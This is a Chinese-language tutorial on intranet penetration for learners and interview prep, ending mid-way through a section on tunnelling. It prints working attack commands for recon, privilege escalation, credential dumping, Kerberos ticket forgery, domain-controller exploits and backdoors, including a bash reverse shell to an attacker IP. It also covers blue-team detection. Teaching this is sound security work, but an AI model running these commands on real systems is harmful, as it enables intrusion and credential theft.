内网渗透通俗指南

内网渗透通俗指南(从入门到拿下域控)

写给零基础的安全学习者和面试准备者。全文用"公司大楼"比方贯穿,把抽象的内网渗透概念变成你能想象的画面。每节配真实命令和案例,边看边能上手。

最后附面试答题框架,直接背就能用。


写在前面:内网渗透是什么

你做 Web 渗透,是在大楼外面找门缝——从外网打进去。但真实的企业网络像一栋大楼,外门锁得很严,内部却四通八达。内网渗透就是你已经想办法混进了大楼的一个房间(比如通过 Web 漏洞拿到了一台服务器的 shell),现在要在大楼内部活动:搞清楚大楼的结构、提升自己的权限、拿到更多钥匙、最终控制整栋楼的中央控制室(域控)

内网渗透的完整流程:

拿到一个内网点(webshell/反弹shell)
  → 信息收集(搞清在哪、有什么、能去哪)
  → 权限提升(从普通员工变保安队长)
  → 凭证获取(偷密码和通行证)
  → 横向移动(去其他房间)
  → 拿下域控(控制中央控制室)
  → 持久化(藏几把备用钥匙)
  → 隧道代理(打通进出的路)

这份文档就按这个流程一步步讲。


第一章 内网信息收集

为什么这一步最重要

比方:你混进了大楼的一个房间,但两眼一抹黑——不知道自己在几楼、不知道哪里有金库、不知道保安在哪。这时候乱跑必被抓。信息收集就是先摸清大楼地图,知道往哪打才有意义。

一句话:信息收集是内网渗透的地图,没有地图就是盲打,收集越全攻击路径越多

第一步:判断当前环境——是域还是工作组

这是内网渗透的第一件事,决定后续整个方向。

比方:大楼有两种管理模式。一种是"各自管各自的工作组",每个房间独立;另一种是"统一管理的域",有个中央控制室管所有房间。判断是不是域,决定了你后面要打票据、横向(域),还是打弱口令、漏洞(工作组)。

判断命令:

ipconfig /all              # 看 DNS 后缀,域环境通常有域名后缀
net time /domain           # 域环境返回域控时间;工作组返回"找不到域"
net config workstation     # 看"工作站域"字段
systeminfo                 # 看"域"字段

案例:执行 net time /domain,如果返回:

\\DC01 的 \\当前时间(域控名和时间)   → 这是域环境
找不到域 WORKGROUP 的域控制器。       → 这是工作组

找域控位置(域环境才做):

net group "domain controllers" /domain   # 列域控
nltest /dclist:域名
nslookup -type=srv _ldap._tcp.dc._msdcs.域名

第二步:本机信息收集——我是谁,我在哪,我有什么权限

比方:先看看自己兜里有什么——是普通员工卡还是保安卡,这间屋子的门锁是什么型号,有没有摄像头(杀软)。

whoami /all                # 当前用户、SID、权限组
hostname                   # 主机名
ipconfig /all              # IP、网段、DNS、网关
systeminfo                 # 系统版本、补丁列表、域信息
net user                   # 本机用户
net localgroup administrators   # 本机管理员组

# 补丁和防护(找没修的漏洞,看有没有杀软)
wmic qfe list brief        # 补丁列表
tasklist /svc              # 进程和服务(找杀软、EDR)
netsh advfirewall show allprofiles   # 防火墙状态

# 现有权限(找提权线索)
whoami /priv               # 当前权限(有 SeImpersonate 就能 Potato 提权)
cmdkey /list               # 存储的凭据

案例:执行 whoami /priv 看到 SeImpersonatePrivilege,说明当前账户能"模拟"其他用户身份,可以用 Potato 系列提权到 SYSTEM(后面讲)。

第三步:网络拓扑发现——内网有多大,网段怎么分

比方:看看这层楼有几个走廊、通向哪些楼层,才知道能去哪。

ipconfig /all              # 看本机所在网段
route print                # 路由表,看能通哪些网段
arp -a                     # ARP 缓存,近期通信过的内网主机
netstat -ano               # 当前网络连接,看连了哪些内网服务

# 存活主机探测
for /L %i in (1,1,254) do @ping -n 1 -w 100 192.168.1.%i | findstr "TTL"

第四步:域内信息收集(域环境专属)

比方:既然是统一管理的大楼,那就翻一翻"员工名册",找出谁是保安队长(域管)、中央控制室在哪(域控)、有哪些重要房间。

net user /domain                    # 所有域用户
net group "domain admins" /domain   # 域管理员(高价值目标!)
net group "domain computers" /domain # 域内机器
net group "enterprise admins" /domain # 企业管理员(最高权限)
net group "domain controllers" /domain   # 域控列表

域渗透神器 BloodHound:通过 LDAP 收集域内对象关系,画出"谁有什么权限、能打到谁"的关系图,直接看到从普通用户到域管的最短攻击路径。

第五步:端口和服务扫描——找可利用的服务

关键端口和利用方向(必背):

端口 服务 内网利用方向
445 SMB MS17-010 永恒之蓝、IPC$ 横向、共享文件
3389 RDP 远程桌面连接
22 SSH 横向登录、密钥利用
1433 MSSQL xp_cmdshell、弱口令
3306 MySQL 弱口令、UDF 提权
6379 Redis 未授权写马/写 cron/写 key
389 LDAP 域信息查询
88 Kerberos 票据攻击
135 RPC WMI 横向
5985 WinRM 远程命令执行
# fscan 一把梭(实战最常用,扫存活+端口+漏洞+弱口令)
fscan -h 192.168.1.0/24

# nmap 精扫
nmap -sV -p 1-1000 192.168.1.0/24

第六步:凭据收集(横向移动的前提,详见第三章)

# 翻配置文件找硬编码密码
findstr /si "password" *.txt *.ini *.config *.xml
dir /s *pass* *cred* *vnc* *.kdbx

# 浏览器保存的密码、RDP 缓存凭据、SSH 密钥

信息收集常用工具汇总

用途 工具 说明
综合扫描 fscan 实战最常用,存活+端口+漏洞+弱口令一把梭
端口扫描 nmap、masscan nmap 精扫,masscan 大范围快扫
域信息收集 BloodHound + SharpHound 画域内权限关系图,找攻击路径
凭据抓取 mimikatz、LaZagne mimikatz 读内存,LaZagne 读各类软件密码

第二章 权限提升(提权)

提权是什么

比方:你混进大楼,拿到的只是"普通员工卡"(普通用户权限)。普通员工干不了大事——装不了后门、读不了别人的密码、控制不了其他机器。提权就是从普通员工爬到保安队长甚至房东

  • Windows:普通用户 → 管理员 → SYSTEM(最高)
  • Linux:普通用户 → sudo 用户 → root(最高)

提权前的信息收集(关键,别跳过)

比方:进大楼先看哪扇门没锁、哪个摄像头坏了,而不是见门就踹。

Windows:

systeminfo                # 系统版本(找对应内核漏洞)
wmic qfe list brief       # 补丁列表(对比哪些漏洞没修)
whoami /priv              # 当前权限(看有没有 SeImpersonate → Potato)
whoami /groups            # 当前用户组
net localgroup administrators   # 看自己是不是管理员
tasklist /svc             # 进程和服务(看杀软,避开 EDR)

Linux:

id                        # 当前用户和组
uname -a                  # 内核版本(找内核漏洞)
cat /etc/os-release       # 发行版
sudo -l                   # sudo 权限(最关键!)
find / -perm -4000 -type f 2>/dev/null   # SUID 文件
find / -writable -type d 2>/dev/null     # 可写目录
cat /etc/crontab          # 计划任务

自动化工具:WinPEAS(Windows)、LinPEAS(Linux)一键全量收集,高亮提权路径。

Windows 提权七大流派

流派一:内核漏洞提权(最经典)

比方:大楼的安保系统本身有 bug——刷卡机有漏洞,一张特殊卡刷一下系统直接崩了重启,重启时把你当成房东登录。

原理:Windows 内核有漏洞时,利用 exp 执行的代码在内核态运行,天然是 SYSTEM 权限。

经典漏洞:

  • MS17-010(永恒之蓝):打 SMB 服务 445 端口,成功直接 SYSTEM
  • MS16-032:打印后台程序漏洞
  • CVE-2021-1732 / CVE-2022-21882:Win10/Win11 提权

用法:

  1. systeminfo + wmic qfe list 看系统版本和补丁
  2. 对比找没打补丁的漏洞
  3. 编译运行对应 exp

流派二:服务配置错误提权

比方:保安队长图省事,把机房钥匙放在了一个任何人都能打开的抽屉里。

2a. 未引用的服务路径:服务路径 C:\Program Files\My App\clean.exe 没加引号,系统从左往右猜,先找 C:\Program.exe。你在这里放恶意程序,服务用管理员权限运行它。

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

2b. 可写的服务路径:服务运行的程序放在你能写的目录,直接替换成恶意程序。

流派三:UAC 绕过(用户账户控制绕过)

比方:你已经是保安队长了,但每次进机房门禁弹窗问"确定要进吗?"。绕过 UAC 就是找办法不弹这个窗。

前提:你已经是管理员,只是被 UAC 拦着。

手法:利用 Windows 自带白名单程序(如 fodhelper、eventvwr)的设计缺陷,让恶意代码搭便车获得高权限。工具:UACME

流派四:令牌窃取(Potato 系列提权)

比方:大楼里有些员工虽然只是普通工位,但手里攥着一张房东给的临时通行证(令牌)。你趁他不注意,把他这张通行证抢过来,你就变成房东了。

原理:Windows 有个权限叫 SeImpersonate(模拟客户端)。某些服务账户(IIS、SQL Server)天生带这个权限。攻击者利用它骗一个高权限账户(SYSTEM)来连自己,然后"模拟"它的身份,自己就变成 SYSTEM。

Potato 系列:

  • RottenPotato:利用 DCOM 和 NTLM 中继
  • JuicyPotato:改进版,Win10/Server2016
  • PrintSpoofer:Windows10/Server2019 常用
  • GodPotato:2023 年新出,覆盖更多版本

面试金句:"Potato 系列核心是利用 SeImpersonate 权限,诱骗 SYSTEM 账户认证自己,然后模拟 SYSTEM 身份提权。常用于拿到 Web 服务账户(IIS/SQL)后提权到 SYSTEM。"

流派五:AlwaysInstallElevated

比方:大楼规定"安装新软件时自动用房东权限安装"。你造一个恶意 MSI 安装包,系统用 SYSTEM 权限帮你装。

# 查注册表是否开启
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 开启则生成恶意 MSI 静默安装
msiexec /quiet /qn /i malicious.msi

流派六:DLL 劫持

比方:保安队长每天读一份《安保日报》,报告放在"前台抽屉"里,前台抽屉谁都能放东西。你放份假报告,里面写"以后听这个普通员工指挥",保安队长读了就听你的。

原理:高权限程序加载 DLL 时有搜索顺序,如果找的 DLL 在你能写的目录,你放个恶意 DLL,程序加载就以高权限执行你的代码。用 Process Monitor 找 "Name not found" 的 DLL。

流派七:其他手法

手法 通俗解释
计划任务劫持 系统有定时任务用高权限跑某程序,你把那程序换成你的
注册表自启劫持 开机自启程序路径你能改,改成你的恶意程序
AT 提权 老版 Windows 计划任务默认 SYSTEM 运行,at 时间 cmd.exe
密码搜寻 翻配置文件、浏览器密码、RDP 缓存凭据

Linux 提权七大流派

流派一:内核漏洞提权

比方:同 Windows,内核本身有 bug。

经典:Dirty COW(CVE-2016-5195)、Dirty Pipe(CVE-2022-0847)。

uname -r          # 看内核版本
# 找对应 exp 编译运行
gcc dirty.c -o dirty -pthread && ./dirty

⚠️ 内核 exp 容易导致崩溃重启,实战慎用,面试提一句显成熟。

流派二:SUID 提权(Linux 特色,高频)

比方:大楼里有个保险柜(SUID 程序),不管谁用它,它都用房东身份干活。如果保险柜设计有缺陷(能执行任意命令),你用它就借了房东身份。

什么是 SUID:可执行文件设了 SUID 位,任何用户执行它时,进程的有效用户变成文件所有者(通常 root)。比如 /usr/bin/passwd 设了 SUID,普通用户才能改密码。

find / -perm -4000 -type f 2>/dev/null      # 找所有 SUID 文件

可提权的 SUID 程序(查 GTFOBins 速查表):

SUID 程序 怎么提权
find find . -exec /bin/sh \; -quit
vim vim -c ':!/bin/sh'
nmap 老版 nmap --interactive 然后 !sh
python/perl/ruby python -c 'import os;os.system("/bin/sh")'
bash bash -p 直接 root shell
less/more !/bin/sh

流派三:sudo 错配提权(实战最常遇到)

比方:保安队长给某员工开了特权——"你只能用 sudo 跑 vim"。但 vim 能 :!sh 逃逸出命令执行,员工一跑就变房东。

sudo -l              # 查自己有什么 sudo 权限(最关键!)

如果输出 User www-data may run the following commands: (ALL) NOPASSWD: /usr/bin/vim,说明能免密 sudo 跑 vim,而 vim 能 :!sh → 直接 root。

经典错配程序(同样查 GTFOBins):vim、find、less、nmap、awk、perl、tar、cp/mv、python。

流派四:计划任务 Cron 提权

比方:大楼每天凌晨2点用房东身份跑一个脚本扫地。如果脚本放在你能改的目录,你把内容换成恶意代码,凌晨2点系统用 root 跑了你的代码。

cat /etc/crontab
ls -la /etc/cron.*

三种利用:脚本可写(直接改内容)、路径劫持(脚本调命令没写全路径,你放同名假命令)、通配符注入(tar 配合 --checkpoint-action 注入参数)。

流派五:PATH 劫持

比方:保安队长让系统"找工具时先去这几个柜子翻"。你提前在靠前的柜子放个同名假工具。

echo $PATH                              # 看 PATH 顺序
# 在靠前目录放恶意同名程序
export PATH=/tmp:$PATH

流派六:修改 /etc/passwd(经典)

比方:大楼名册(/etc/passwd)记录所有员工。你能改名册,直接给自己加个房东身份。

# 生成密码 hash
openssl passwd -1 -salt abc password123
# 加一个 UID=0 的 root 用户
echo 'hacker:$1$abc$NXv9Uk5...:0:0::/root:/bin/bash' >> /etc/passwd
su hacker        # 输入 password123,直接 root

流派七:其他手法

手法 通俗解释
NFS no_root_squash NFS 共享配置不当,挂载后写 SUID 程序提权
Docker 组提权 用户在 docker 组,docker run -v /:/mnt 挂载根目录直接 root
capabilities 提权 程序有 cap_setuid 等 capability 能改 UID
密码搜寻 翻配置文件、.bash_history、SSH 私钥

Windows vs Linux 提权对比

维度 Linux Windows
最高权限 root(UID=0) SYSTEM
内核漏洞 Dirty COW/Pipe MS17-010 等
配置类 SUID/sudo/cron 服务路径/UAC
特色手法 SUID(查 GTFOBins) 令牌窃取(Potato)
信息收集工具 LinPEAS/LinEnum WinPEAS/PowerUp
共同点 都是先侦察后利用,优先用配置类,内核 exp 兜底 同左

第三章 凭证获取

为什么要抓凭证

比方:你提权成了某房间的保安队长,但想去别的楼层(横向移动),需要能打开其他楼层门禁的卡(凭证)。凭证就是这些卡——密码、哈希、票据。抓到的凭证越多,能去的楼层越多。

一句话:单机提权是立足,抓凭证是为了横向,横向才能打域控

先懂 Windows 认证机制(抓凭证的理论基础)

Windows 存密码的三层地方:

存储位置 装什么 比方
SAM 本机用户的 NTLM 哈希 本机员工的"密码登记簿"
LSASS(内存进程) 登录过的用户明文密码、哈希、票据 前台桌上摊着的"正在用的通行证"
NTDS.dit(域控专属) 整个域所有用户的哈希 大楼总部的"全员名册"

关键认知:Windows 认证时直接用哈希证明身份,不需要明文!拿到哈希就等于拿到密码——这就是 Pass-the-Hash(哈希传递) 的原理。

Windows 凭证获取手法

手法一:mimikatz 抓 LSASS 内存(最经典)

比方:前台桌上摊着所有正在用的通行证,你趁前台不注意拍个照。

原理:LSASS 进程内存缓存了登录用户的凭证——明文密码(某些情况)、NTLM 哈希、Kerberos 票据。mimikatz 读取 LSASS 内存全抓出来。

前提:需要 debug 权限 + 本地 SYSTEM 权限。

mimikatz
privilege::debug                    # 提权到 debug 权限
sekurlsa::logonpasswords            # 抓所有登录用户凭据(明文+哈希+票据)
lsadump::sam                         # dump SAM 数据库
lsadump::dcsync /user:域管理员       # DCSync,域控级别抓取

明文密码为什么能抓到:Win7/2008 默认开 wdigest 认证,明文留内存。Win10/2012+ 默认关了 wdigest,只能抓哈希。可改注册表重开 wdigest 等管理员重新登录。

手法二:SAM 数据库导出(离线抓取)

比方:趁没人把密码登记簿复印一份带走,回去慢慢破解。

reg save hklm\sam sam.hive           # 导出 SAM
reg save hklm\system system.hive     # 导出 system(存了加密密钥)
# 拿回本地用 impacket 解:
secretsdump.py -sam sam.hive -system system.hive LOCAL

手法三:NTDS.dit 抓取(域控专属,终极目标)

比方:攻进大楼总部(域控),拿到全员名册(NTDS.dit),所有员工通行证哈希都在里面。

# 方法1:ntdsutil(微软自带工具)
ntdsutil "ac i ntds" "ifm" "create full C:\dump" q q

# 方法2:DCSync(不需要导文件,直接问域控要)
lsadump::dcsync /domain:xxx.com /all
lsadump::dcsync /user:krbtgt         # 抓 krbtgt 哈希(造黄金票据!)

# 方法3:secretsdump 远程
secretsdump.py -just-dc domain/admin:password@域控IP

DCSync 原理(面试高频追问):DCSync 不是读文件,而是模拟域控的复制行为。域控之间用 DRCP 协议同步数据,DCSync 伪装成域控向真实域控"我要同步",域控就把哈希发过来了。不需要登录域控本机,有域管凭据就行

手法四:应用层凭证

  • 凭据管理器:cmdkey /list 列存储的凭据
  • 浏览器密码:LaZagne、SharpChrome
  • RDP 缓存凭据:cmdkey 存的,用 Mimikatz dpapi 解
  • 配置文件密码:findstr /si "password" *.txt *.ini *.config

一键全抓 LaZagne:LaZagne.exe all 抓浏览器/邮箱/数据库/WiFi 等各类密码。

Linux 凭证获取

/etc/shadow(密码哈希)

cat /etc/shadow                      # 需要 root
# $1$ = MD5, $5$ = SHA256, $6$ = SHA512
# 用 john 或 hashcat 破解:
john --wordlist=rockyou.txt shadow
hashcat -m 1800 hash.txt wordlist.txt

配置文件和密钥

grep -r "password" /etc/ /opt/ /home/ /var/www/ 2>/dev/null
find / -name "id_rsa" -o -name "*.pem" 2>/dev/null   # SSH 私钥
cat ~/.bash_history                                   # 历史命令

拿到哈希后:破解 vs PTH

方式 说明
破解成明文 hashcat/john 破解,明文用途广(登录、SSH)
直接 PTH 哈希够用于 Windows 横向,破解不了就用这招

面试金句:"能破解就破解(明文用途广),破解不了就 PTH(哈希够用于 Windows 横向),两条路互补。"


第四章 横向移动

什么是横向移动

比方:你在大楼里已经拿下了一个房间,提了权,抓了凭证。现在你要用这些凭证去别的房间,这就是横向移动。目标是逐步逼近中央控制室(域控)。

常见横向手法

Pass-the-Hash(哈希传递,PTH)

比方:你偷到一张员工的通行证哈希(不是明文密码),但门禁系统只认哈希不认密码,你直接拿哈希刷门禁就进去了。

原理:Windows 认证用 NTLM 哈希不用明文,拿到哈希就能以该用户身份认证。

# impacket
psexec.py -hashes :NTLM哈希 域名/用户@目标IP
wmiexec.py -hashes :NTLM哈希 域名/用户@目标IP

Pass-the-Ticket(票据传递,PTT)

比方:你偷到一张已经签发的通行证(票据),直接拿去用,不用再去前台申请。

原理:Kerberos 票据存在内存里,导出别人的票据注入自己内存,就能以别人身份访问服务。

# mimikatz 导出票据
sekurlsa::tickets /export
# 注入票据
kerberos::ptt 票据文件.kirbi

其他横向手法

手法 原理 命令/工具
PsExec 用管理员凭据在远程机器执行命令 psexec.py 域名/用户:密码@IP
WMI 通过 WMI 协议远程执行 wmiexec.py 域名/用户:密码@IP
SMB 利用 IPC$ 共享 net use \\IP\ipc$ 密码 /user:用户
RDP 远程桌面 3389 端口连接
WinRM Windows 远程管理 evil-winrm -u 用户 -p 密码 -i IP
SSH Linux 横向 ssh user@IP,或用偷到的私钥

横向移动的思路

  1. 用抓到的凭据尝试登录其他机器
  2. 优先打域管登录过的机器(抓域管凭据)
  3. 逐步向域控逼近
  4. 用 BloodHound 找从当前用户到域管的最短路径

第五章 拿下域控

域控是什么,为什么是终极目标

比方:域控是整栋大楼的中央控制室,管理着域内所有用户、机器、权限。拿下域控 = 拿下整个域 = 控制所有加域的机器和用户。

域控的关键资产:

  • NTDS.dit:全域所有用户的哈希
  • krbtgt 账户哈希:造黄金票据持久化控制整个域
  • 域管账户:能管理域内所有机器

六条攻击路径

路径一:直接打域控漏洞

比方:中央控制室的门锁本身有缺陷,直接撬门进去。

  • MS17-010 永恒之蓝:打 SMB 445 端口,直接 SYSTEM
  • ZeroLogon(CVE-2020-1472):Netlogon 认证漏洞,置空域控机器账户密码,再 DCSync
  • PrintNightmare(CVE-2021-1675):打印服务漏洞,加载任意 DLL

ZeroLogon 案例:

python3 zerologon_tester.py 域控机器名 域控IP     # 检测
python3 cve-2020-1472-exploit.py 域控机器名 域控IP  # 置空机器账户密码
secretsdump.py -no-pass -just-dc 域名/域控机器名\$@域控IP  # DCSync

路径二:Kerberos 攻击

比方:不去硬闯控制室,而是想办法伪造或窃取通行证。

  • AS-REP Roasting:针对关了预认证的用户,抓 AS-REP 离线破解
  • Kerberoasting(最实用):普通域用户就能申请服务票据,离线破解服务账户密码
  • 黄金票据:拿到 krbtgt 哈希,伪造 TGT,全域任意服务(详见第六章)
  • 白银票据:拿到服务账户哈希,伪造 ST,访问特定服务(详见第六章)
  • 委派攻击(RBCD):普通域用户配置 RBCD,提权到机器 SYSTEM

Kerberoasting 案例(最实用,门槛最低):

# 任何普通域用户就能做
GetUserSPNs.py 域名/用户:密码 -dc-ip 域控IP -request
# 拿到票据后破解
hashcat -m 13100 hash.txt rockyou.txt

路径三:ADCS 证书服务攻击(近年热点)

比方:大楼发一种"电子身份证"(证书),配置错误时普通员工能申请到域管身份的证书。

ESC1(最常见):证书模板允许低权限用户申请 + 可指定 SAN(身份),申请时把身份写成域管。

certipy find -u 用户@域名 -p 密码 -dc-ip 域控IP          # 找漏洞模板
certipy req -u 用户@域名 -p 密码 -ca CA名 -template 漏洞模板 -upn Administrator@域名
certipy auth -pfx administrator.pfx -dc-ip 域控IP

路径四:NTLM 中继(PetitPotam,免密打域控)

比方:你在走廊装了个假门禁读卡器,截下员工的认证信息,转手拿去开控制室门。

PetitPotam → NTLM Relay → ADCS → DCSync(2021 年后最经典的免密打域控链):

# 1. 强制域控向攻击者认证(无需凭据!)
python3 PetitPotam.py 攻击者IP 域控IP
# 2. 中继到 ADCS 申请域控证书
ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 3. 用证书 DCSync
gettgtpkinit.py 域名/域控机器名\$ -pfx base64证书 -dc-ip 域控IP

这条链完全不需要任何凭据,面试讲出来很加分。

路径五:已有域管凭据直接 DCSync

拿到域管密码或哈希后,直接 DCSync 拉全域哈希:

secretsdump.py 域名/域管:密码@域控IP
# 拿到 krbtgt 哈希,造黄金票据持久化

路径六:其他路径

路径 原理
Exchange 漏洞 ProxyLogon/ProxyShell,Exchange 有域管级权限
GPO 滥用 推恶意组策略加本地管理员
AdminSDHolder 攻击 AdminSDHolder 容器自动获得域管权限
DNSAdmins 组 加载任意 DLL 到 DNS 服务(SYSTEM 运行)
BloodHound 找路径 分析域内权限关系找最短攻击路径

第六章 Kerberos 认证与黄金白银票据

Kerberos 认证是什么

比方:Kerberos 是大楼的"通行证系统"。大楼有个前台(KDC,密钥分发中心),放在域控里。员工想进任何房间(访问服务),要分三步向前台申请通行证。

三个角色:

角色 大楼比方 实际身份
KDC 前台 装在域控上
Client(用户) 员工 登录的账户
Service(服务) 某个房间 文件共享、数据库等

KDC 内部两个组件:

  • AS(认证服务):验证"你是谁",发 TGT
  • TGS(票据授予服务):发"进房间的通行证"ST

核心安全机制:Kerberos 不传明文密码,用密码哈希当加密钥匙。谁有你密码哈希,谁就能伪造通行证——这就是票据攻击的根源。

Kerberos 认证完整流程(三步)

第一步:AS 交换——证明身份,拿 TGT

比方:员工去前台证明"我是张三",前台核实后给他一张长期通行证(TGT),以后拿它换各房间临时通行证。

① Client → KDC(AS):"我是张三"(AS-REQ,带预认证:用张三密码哈希加密时间戳)
② KDC(AS) → Client:"验证通过,给你 TGT"(AS-REP)
   TGT 用【krbtgt 账户的哈希】加密!

攻击点1:拿到 krbtgt 哈希 → 自己伪造 TGT → 黄金票据

第二步:TGS 交换——拿 TGT 换服务票据 ST

比方:员工拿长期通行证(TGT)去前台,换一张财务室临时通行证(ST)

③ Client → KDC(TGS):"我有 TGT,要访问文件服务"(TGS-REQ)
④ KDC(TGS) → Client:"给你 ST"(TGS-REP)
   ST 用【目标服务账户的密码哈希】加密!

攻击点2:拿到服务账户哈希 → 自己伪造 ST → 白银票据

第三步:AP 交换——凭 ST 访问服务

比方:员工拿财务室临时通行证(ST)直接去财务室刷卡进门,前台不参与了。

⑤ Client → Service:"我有 ST"(AP-REQ)
⑥ Service 验证 ST,放行
   服务自己验证 ST,不回 KDC 确认!

攻击点3(白银票据核心):白银票据伪造 ST 直接给服务,全程不经过 KDC,域控无日志

黄金票据详解

前提:已拿到 krbtgt 账户的哈希(通过 DCSync 或打域控)。

原理:TGT 用 krbtgt 哈希加密,你有这个哈希就能任意伪造 TGT,把权限写成 Domain Admin。

# mimikatz 造黄金票据
kerberos::golden /user:Administrator /domain:域名 /sid:域SID /krbtgt:krbtgt哈希 /ptt

特点:

  • 访问域内任意服务(TGT 能换任意 ST)
  • 持久性极强:改域管密码不失效(用 krbtgt 哈希不是域管密码)
  • 清除必须两次重置 krbtgt 密码(AD 保留历史哈希)

白银票据详解

前提:已拿到目标服务账户的哈希(通过 Kerberoasting 破解等)。

原理:ST 用服务账户哈希加密,你有这个哈希就能伪造 ST,直接给服务,跳过 KDC

kerberos::golden /user:Administrator /domain:域名 /sid:域SID /target:服务名 /service:cifs /rc4:服务账户哈希 /ptt

特点:

  • 只能访问该特定服务
  • 不经 KDC,域控无日志,更隐蔽
  • 获取门槛低(Kerberoasting 即可)
  • 改服务账户密码即失效

黄金 vs 白银票据对比(面试必背)

维度 黄金票据 白银票据
伪造对象 TGT ST
持有哈希 krbtgt 目标服务账户
是否经 KDC 经(换 ST 时) 不经
域控日志 有 TGS 请求日志 无日志,更隐蔽
访问范围 域内任意服务 仅该特定服务
获取难度 高(需域控/DCSync) 较低(Kerberoasting)
持久性 极强(改域管密码不失效) 中(改服务账户密码即失效)
清除方式 两次重置 krbtgt 密码 改服务账户密码

记忆口诀:

  • 黄金 = krbtgt = 伪造 TGT = 全域任意服务 = 经 KDC 有日志 = 清除需两次改 krbtgt
  • 白银 = 服务账户 = 伪造 ST = 单服务 = 不经 KDC 无日志 = 改服务账户密码即可

第七章 持久化

什么是持久化

比方:你费了好大劲闯进大楼,但如果什么都不做,保安一重启系统、一改密码,你就被踢出去了。持久化就是在大楼里偷偷藏几把备用钥匙、装几个只有你知道的后门,以后随时能进来。

一句话:提权是立足,持久化是长控

Windows 持久化手法

1. 注册表自启项(最经典)

比方:在保安队的"开机必做清单"里偷偷加一条"每天给攻击者发一把钥匙"。

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f

常用键值:Run、RunOnce、Winlogon(Userinit)。

2. 计划任务

比方:让系统定时帮你跑后门。

schtasks /create /tn "SystemUpdate" /tr "C:\Users\Public\backdoor.exe" /sc daily /st 03:00 /ru SYSTEM

3. 服务后门

比方:把后门伪装成一个"系统正常服务",开机自动启动。

sc create "SysHelper" binpath= "C:\Users\Public\backdoor.exe" start= auto

4. WMI 事件订阅(无文件,隐蔽性强)

比方:不在大楼里放任何实体钥匙,而是设一个"条件触发器"——满足条件系统自己下载执行后门。无文件落地,扫硬盘扫不到。

用 PowerShell 创建事件过滤器 + 事件消费者 + 绑定。蓝队要用 Get-WmiObject__EventFilterCommandLineEventConsumer

5. 其他 Windows 手法

手法 通俗解释
DLL 劫持 高权限程序加载你能写的 DLL
隐藏账户 账户名加 $,net user 默认不显示
克隆账户 改注册表 SAM 克隆管理员 RID
COM 劫持 改 COM 组件指向恶意 DLL
内存马 Web 中间件层,不落磁盘,重启消失

Linux 持久化手法

1. SSH 后门(最常用)

SSH 公钥写入(最隐蔽持久):

echo "你的公钥" >> /root/.ssh/authorized_keys
# 以后免密 SSH 登录

SSH 软链接后门:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=12345
# 连接时任意密码都能登录

2. Cron 计划任务

(crontab -l; echo "*/5 * * * * /tmp/.backdoor") | crontab -
echo "*/5 * * * * root /tmp/.backdoor" >> /etc/crontab

3. 其他 Linux 手法

手法 通俗解释
PAM 后门 改认证模块,设万能密码
软链接后门 ln -sf /bin/bash /tmp/.rootshell + SUID
内核 Rootkit LKM 从内核层隐藏进程文件网络
LD_PRELOAD 劫持 用户态 rootkit,hook 系统函数
开机启动项 /etc/rc.local、systemd 服务
.bashrc 后门 每次开终端执行

域级别持久化(拿下域控后)

手法 原理 清除难度
黄金票据 krbtgt 哈希造 TGT 两次重置 krbtgt 密码
白银票据 服务账户哈希造 ST 改服务账户密码
Skeleton Key 注入 lsass,万能密码 mimikatz 重启域控
AdminSDHolder 后门 给容器加 ACL 自动同步到特权组 手动清除 ACL
SID History 注入 给普通用户注入域管 SID 手动清除 SID History
DSRM 后门 改域控恢复模式密码远程登录 改回 DSRM 密码
委派后门(RBCD) 配置 RBCD 随时以域管访问 删除委派配置

持久化隐蔽性分级

隐蔽级别 手法 特点
(显性) 注册表 Run、计划任务 简单有效,蓝队例行排查能发现
(伪装) 服务后门、DLL 劫持、隐藏账户 伪装成正常组件
(无文件) WMI 事件订阅、COM 劫持、内存马 不落磁盘,传统杀软扫不到
极高(底层) 内核 rootkit、PAM 后门、域级票据 内核/认证层,难检测

实战策略:多层组合,留显性诱饵掩护隐藏后门。

蓝队排查角度(安服岗必答)

Windows 排查:

  • 注册表:查 Run/RunOnce/Winlogon 自启键
  • 计划任务:schtasks /query /fo LIST
  • 服务:sc query 查异常服务
  • WMI:Get-WmiObject __EventFilterCommandLineEventConsumer
  • 账户:net user、查 SAM 找隐藏/克隆账户
  • 日志:4624 登录、4688 进程创建、7045 服务创建

Linux 排查:

  • 计划任务:crontab -l/etc/cron.*
  • 启动项:/etc/rc.localsystemctl list-unit-files --state=enabled
  • SSH:/root/.ssh/authorized_keys 看异常公钥
  • 账户:/etc/passwd 看异常用户、UID=0
  • 进程/网络:ps auxnetstat -antp
  • Rootkit 检测:rkhunter、chkrootkit

第八章 隧道与代理

为什么要做隧道和代理

比方:你在大楼里拿下一个房间,但整栋大楼只有几个出口能通外网。你想把内网的战果带出去、把攻击工具送进去、隐蔽访问内网其他网段——但内网隔离,进不去出不来。

隧道和代理就是解决"进不去、出不来、走不了"的问题。

一句话:代理解决访问问题,隧道解决通信问题

正向 vs 反向代理(必考)

正向代理

比方:你在内网拿下一台机器,让它开个店等客人。你从外面主动连进去,通过它访问内网。

攻击者 ──连过去──→ 目标机器(监听端口)──→ 内网其他机器

适用场景:攻击者能直连目标(同网段、或目标有公网 IP)。

# 目标机器开监听
nc -lvvp 4444 -e /bin/bash
# 攻击者连过去
nc 目标IP 4444

反向代理

比方:你控制的内网机器主动打电话回家,连到你的服务器,建立通道后你再通过它访问内网。

攻击者(监听端口) ←──连出来── 目标机器 ──→ 内网其他机器

适用场景:目标能出网,攻击者有公网监听点(内网渗透最常用)。

# 攻击者先监听
nc -lvvp 4444
# 目标机器连出来
bash -i >& /dev/tcp/攻击者IP/4444 0>&1

正向 vs 反向对比

维度 正向 反向
连接方向 攻击者 → 目标 目标 → 攻击者
谁监听 目标机器 攻击者
适用场景 攻击者能直连目标 目标能出网
内网实战 较少用 最常用

一句话区分:正向是"我连过去",反向是"它连出来"。内网机器通常能出部分网,所以反向更常用

隧道技术(跨协议封装)

比方:大楼只允许"快递包裹"(特定协议)进出,不允许"人"进出。你把人藏进快递包裹里,骗过门卫送出去。

1. HTTP/HTTPS 隧道(内网最常用)

场景:内网只放行 80/443 出站。

工具:

